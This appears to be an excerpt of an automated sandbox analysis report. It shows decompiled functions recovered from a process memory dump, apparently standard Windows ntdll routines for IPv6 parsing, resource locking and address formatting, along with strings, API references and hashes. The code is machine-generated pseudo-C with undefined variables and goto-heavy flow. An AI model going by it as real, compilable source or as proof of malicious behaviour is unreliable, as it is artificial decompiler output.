0x02003f6d
0x02003f6f
0x0200e304
0x0200e30f
0x0200e315
0x0200e31e
0x0200e321
0x0200e327
0x0200e329
0x00000000
0x00000000
0x00000000
0x00000000
0x0200e32f
0x0200e32f
0x0200e337
0x0200e33a
0x0200e33b
0x0200e33d
0x0200e33f
0x0200e341
0x0200e341
0x0200e34e
0x0200e353
0x0200e358
0x0200e35d
0x0200e35f
0x00000000
0x00000000
0x0200e365
0x0200e365
0x0200e368
0x0200e36e
0x00000000
0x00000000
0x0200e374
0x0200e32f
0x02003f75
0x02003f7a
0x02003f7c
0x02003f7e
0x02003f86
0x01fe7f39
0x01fe7f47
0x01fe7f47
0x01fe7f37
0x01fe7f37
0x00000000

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 02003F12

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 02003EC4
ExecuteOptions, xrefs: 02003F04
CLIENT(ntdll): Processing section info %ws..., xrefs: 0200E345
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 0200E2FB
Execute=1, xrefs: 02003F5E
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 02003F75
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 02003F4A

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 33bee65b929e03cb57c00e31fab2938a6f7510b5987b6b7909b215c2a7797546
Instruction ID: d6d911ad5f2c771dbbcc308241020bc5ea9d8d464bd54d3f753ecadafe6ddff2
Opcode Fuzzy Hash: 33bee65b929e03cb57c00e31fab2938a6f7510b5987b6b7909b215c2a7797546
Instruction Fuzzy Hash: CC41CD71A4031D7AEB21EA55DCC9FEA73FCAF14700F0405A9E505E6081E771EA469FE1

Uniqueness

Uniqueness Score: -1.00%

Function 01FF0B15, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01FF0B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
							E01FC8980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							E01FBDFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = E01FF0CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = E01FF0CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E01FF06BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E01FF06BA(_t135, _t178) == 0 || E01FF0A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = E01FF0CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = E01FF0CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E01FF06BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E01FF06BA(_t124, _t142) == 0 || E01FF0A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x01ff0b21
0x01ff0b24
0x01ff0b27
0x01ff0b2a
0x01ff0b2d
0x01ff0b30
0x01ff0b33
0x01ff0b36
0x01ff0b39
0x01ff0b3e
0x01ff0c65
0x01ff0c68
0x01ff0c6a
0x01ff0c6f
0x0201eb42
0x00000000
0x00000000
0x0201eb48
0x0201eb48
0x01ff0c75
0x01ff0c7a
0x0201eb54
0x00000000
0x00000000
0x00000000
0x0201eb5a
0x01ff0c80
0x01ff0c84
0x0201eb98
0x00000000
0x00000000
0x0201eba6
0x01ff0cb8
0x01ff0cba
0x01ff0cd3
0x01ff0cda
0x01ff0ce4
0x01ff0ce9
0x00000000
0x01ff0cec
0x01ff0c8c
0x0201eb63
0x00000000
0x00000000
0x0201eb70
0x0201eb75
0x0201eb7d
0x00000000
0x00000000
0x0201eb8c
0x00000000
0x0201eb8c
0x01ff0c96
0x00000000
0x00000000
0x01ff0ca2
0x01ff0cac
0x01ff0cb4
0x00000000
0x00000000
0x01ff0b44
0x01ff0b47
0x01ff0b49
0x00000000
0x00000000
0x01ff0b4f
0x01ff0b50
0x00000000
0x00000000
0x01ff0b56
0x01ff0b62
0x01ff0b7c
0x01ff0bac
0x01ff0a0f
0x0201eaaa
0x00000000
0x0201eac4
0x0201eac4
0x01ff0bd0
0x01ff0bd0
0x01ff0bd4
0x01ff0bd9
0x00000000
0x00000000
0x01ff0bdb
0x01ff0be0
0x0201eb0e
0x01ff0a1a
0x00000000
0x01ff0a1a
0x0201eb1a
0x0201eb1f
0x0201eb27
0x00000000
0x00000000
0x0201eb36
0x00000000
0x0201eb36
0x01ff0bea
0x00000000
0x00000000
0x01ff0bf6
0x01ff0c00
0x01ff0c03
0x01ff0c0b
0x00000000
0x01ff0c0b
0x0201eaaa
0x00000000
0x01ff0a15
0x01ff0bb6
0x00000000
0x01ff0bc6
0x01ff0bc6
0x01ff0bcb
0x01ff0c15
0x00000000
0x00000000
0x01ff0c1d
0x01ff0c20
0x01ff0c21
0x01ff0c24
0x01ff0c24
0x01ff0c26
0x00000000
0x01ff0c26
0x01ff0bcd
0x00000000
0x01ff0bcd
0x01ff0b89
0x01ff0b89
0x01ff0b90
0x00000000
0x00000000
0x01ff0b96
0x00000000
0x01ff0b96
0x01ff0a04
0x01ff0a04
0x01ff0b9a
0x01ff0b9a
0x01ff0b9b
0x01ff0b9f
0x00000000
0x00000000
0x00000000
0x01ff0ba5
0x01ff0ac7
0x01ff0aca
0x0201eacf
0x00000000
0x0201eade
0x0201eade
0x0201eae3
0x00000000
0x00000000
0x0201eaf3
0x0201eaf6
0x0201eaf7
0x0201eafe
0x0201eb01
0x00000000
0x0201eb01
0x0201eacf
0x01ff0ad0
0x01ff0ad4
0x00000000
0x00000000
0x01ff0ada
0x01ff0ae6
0x01ff0c34
0x00000000
0x01ff0c47
0x01ff0c49
0x01ff0c4a
0x01ff0c4e
0x01ff0c51
0x01ff0c54
0x01ff0c57
0x01ff0c5a
0x00000000
0x00000000
0x00000000
0x01ff0c60
0x01ff0afb
0x01ff0afe
0x01ff0b02
0x01ff0b05
0x01ff0b08
0x00000000
0x01ff0b08
0x01ff0ae6
0x01ff0b44
0x01ff09f8
0x01ff09f8
0x01ff09f9
0x00000000
0x00000000
0x0201eaa0
0x00000000

APIs

__fassign.LIBCMT ref: 01FF0BF6
__fassign.LIBCMT ref: 01FF0CA2

Strings

:, xrefs: 01FF0BA9
., xrefs: 01FF0A0C
:, xrefs: 01FF0AC7

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: f5d9665c34080d393598a9bf3b38b5ad856d04cfc7a3e73e3df63cbe555592c1
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 6BA1AF71D0030ADADF25CF58C8457BEBBB6AF05304F24846EFA06A7262DFB29645CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01FF0554, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E01FF0554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x020901c0;
									_push(_t144);
									_push(0);
									_t51 = E01FAF8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = E01FF4FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									E02003F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									E02003F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E0203217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E02003F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E01FF3915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x020901c0;
												_push(_t138);
												_push(0);
												_t58 = E01FAF8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = E01FF4FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												E02003F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												E02003F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E0203217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												E02003F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E01FF3915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E01FD5384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E01FAF970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E01FF3915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E01FAF970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E01FF3915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E01FAF970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E01FF3915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E01FD5329(_t110, _t138);
																_t69 = E01FD53A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x01ff055a
0x01ff055d
0x01ff0563
0x01ff0566
0x01ff05d8
0x01ff05e2
0x01ff05e5
0x00000000
0x01ff05e7
0x01ff05e7
0x01ff05ea
0x01ff05f3
0x01ff05f3
0x01ff0568
0x01ff0568
0x01ff0568
0x01ff0569
0x01ff0569
0x01ff0569
0x01ff056b
0x00000000
0x00000000
0x0201217f
0x02012183
0x0201225b
0x0201225f
0x02012189
0x0201218c
0x0201218f
0x02012194
0x02012199
0x0201219d
0x020121a0
0x020121a2
0x020121ce
0x020121ce
0x020121ce
0x020121d0
0x020121d6
0x020121de
0x020121e2
0x020121e8
0x020121e9
0x020121ec
0x020121f1
0x020121f6
0x00000000
0x00000000
0x020121f8
0x020121fb
0x02012206
0x0201220b
0x0201220c
0x02012217
0x02012226
0x0201222b
0x0201222c
0x0201222f
0x02012232
0x02012235
0x02012235
0x0201223a
0x0201223f
0x02012241
0x02012243
0x02012248
0x02012248
0x0201224d
0x0201224f
0x02012262
0x02012263
0x02012268
0x02012269
0x02012269
0x02012269
0x0201226d
0x00000000
0x00000000
0x02012276
0x02012279
0x0201227e
0x02012283
0x02012287
0x0201228a
0x0201228d
0x0201228f
0x020122bc
0x020122bc
0x020122bc
0x020122be
0x020122c4
0x020122cc
0x020122d0
0x020122d6
0x020122d7
0x020122da
0x020122df
0x020122e4
0x00000000
0x00000000
0x020122e6
0x020122e9
0x020122f4
0x020122f9
0x020122fa
0x02012305
0x02012314
0x02012319
0x0201231a
0x0201231d
0x02012320
0x02012323
0x02012323
0x02012328
0x0201232d
0x0201232f
0x02012331
0x02012336
0x02012336
0x0201233b
0x0201233d
0x02012350
0x02012351
0x02012356
0x02012359
0x02012359
0x0201235b
0x0201235d
0x01fd5367
0x01fd536b
0x01fd5372
0x00000000
0x00000000
0x00000000
0x00000000
0x02012363
0x02012363
0x02012369
0x0201236a
0x0201236c
0x02012371
0x02012373
0x00000000
0x02012379
0x02012379
0x0201237a
0x0201237f
0x0201237f
0x02012385
0x02012386
0x02012389
0x0201238e
0x02012390
0x01fd5378
0x01fd537c
0x02012396
0x02012396
0x02012397
0x0201239c
0x020123a2
0x020123a3
0x020123a6
0x020123ab
0x020123ad
0x00000000
0x020123b3
0x020123b3
0x020123b4
0x020123b9
0x020123ba
0x020123ba
0x020123bc
0x020123bf
0x00000000
0x00000000
0x02009153
0x02009158
0x0200915a
0x0200915e
0x02009160
0x00000000
0x02009166
0x02009166
0x02009171
0x02009176
0x02009176
0x00000000
0x02009160
0x020123c6
0x020123ce
0x020123d7
0x020123d7
0x020123ad
0x02012390
0x02012373
0x0201233f
0x0201233f
0x00000000
0x0201233f
0x02012291
0x02012291
0x02012293
0x02012295
0x0201229a
0x020122a1
0x020122a3
0x020122a7
0x020122a9
0x00000000
0x00000000
0x020122ab
0x020122ad
0x020122af
0x00000000
0x00000000
0x00000000
0x020122af
0x020122b1
0x020122b4
0x020122b4
0x020122b6
0x01fd53be
0x01fd53be
0x01fd53be
0x01fd53c0
0x00000000
0x00000000
0x01fd53cb
0x01fd53ce
0x01fd53d0
0x01fd53d4
0x01fd53d6
0x00000000
0x01fd53d8
0x01fd53e3
0x01fd53ea
0x01fd53ea
0x00000000
0x01fd53d6
0x00000000
0x00000000
0x00000000
0x00000000
0x020122b6
0x00000000
0x0201228f
0x02012349
0x0201234d
0x02012251
0x02012251
0x00000000
0x02012251
0x020121a4
0x020121a4
0x020121a6
0x020121a8
0x020121ac
0x020121b6
0x020121b8
0x020121bc
0x020121be
0x00000000
0x00000000
0x020121c0
0x020121c2
0x020121c4
0x00000000
0x00000000
0x00000000
0x020121c4
0x020121c6
0x020121c6
0x020121c8
0x00000000
0x00000000
0x00000000
0x00000000
0x020121c8
0x020121a2
0x00000000
0x02012183
0x01ff057b
0x01ff057d
0x01ff0581
0x01ff0583
0x02012178
0x00000000
0x01ff0589
0x01ff058f
0x01ff058f
0x01ff0583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02012206

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 020122FC
RTL: Re-Waiting, xrefs: 0201223A, 02012328
RTL: Resource at %p, xrefs: 0201221D, 0201230B
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 0201220E

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 33e3572bb687a4d63118e834c7545ef836da008a30e7dea7e8b802bdd9dba197
Instruction ID: 01a1ba88a960600f01846121457d8cc33acc07562a36d4964a9f3991e248a405
Opcode Fuzzy Hash: 33e3572bb687a4d63118e834c7545ef836da008a30e7dea7e8b802bdd9dba197
Instruction Fuzzy Hash: DA5127717003216FEB16CA19CCC0FAA33AAAF94720F254259FD45DB285DA62EC419B90

Uniqueness

Uniqueness Score: -1.00%

Function 01FF14C0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E01FF14C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0x2092088; // 0x77762b81
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E01FE7707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E01FF13CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E01FE7707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E01FE7707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E01FB2340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E01FBE1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x01ff14c0
0x01ff14cb
0x01ff14d2
0x01ff14d6
0x01ff14da
0x01ff14de
0x01ff14e3
0x01ff157a
0x01ff157a
0x01ff14f1
0x01ff14f3
0x0201ea0f
0x00000000
0x0201ea15
0x00000000
0x0201ea15
0x01ff14f9
0x01ff14f9
0x01ff14fe
0x01ff1504
0x0201ea1a
0x0201ea1f
0x0201ea21
0x0201ea22
0x0201ea27
0x0201ea2a
0x0201ea2a
0x01ff1515
0x01ff1517
0x01ff156d
0x01ff1572
0x01ff1575
0x01ff1575
0x01ff151e
0x0201ea50
0x0201ea55
0x0201ea58
0x0201ea58
0x01ff152e
0x01ff1531
0x01ff1533
0x00000000
0x01ff1535
0x01ff1541
0x01ff1549
0x01ff1549
0x01ff1533
0x01ff14f3
0x01ff1559

APIs

___swprintf_l.LIBCMT ref: 0201EA22

Part of subcall function 01FF13CB: ___swprintf_l.LIBCMT ref: 01FF146B
Part of subcall function 01FF13CB: ___swprintf_l.LIBCMT ref: 01FF1490

___swprintf_l.LIBCMT ref: 01FF156D

Strings

